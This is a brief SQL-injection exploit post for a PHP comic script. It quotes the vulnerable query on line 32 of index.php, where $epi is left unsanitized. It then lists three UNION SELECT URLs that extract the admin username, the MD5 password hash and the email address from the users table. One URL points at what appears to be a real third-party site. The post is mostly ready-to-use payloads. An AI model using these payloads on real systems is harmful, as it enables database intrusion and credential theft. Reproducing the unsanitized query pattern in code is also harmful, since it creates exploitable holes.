by s0cratex
[email protected]
http://plexinium.net
The bug is a common sql injection in "index.php"
Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verifiedβ¦
Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users
MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users
e-Mail adress:
http://www.sneakyshits.com/comics/index.php?epi=-1 union select email,1,1 from users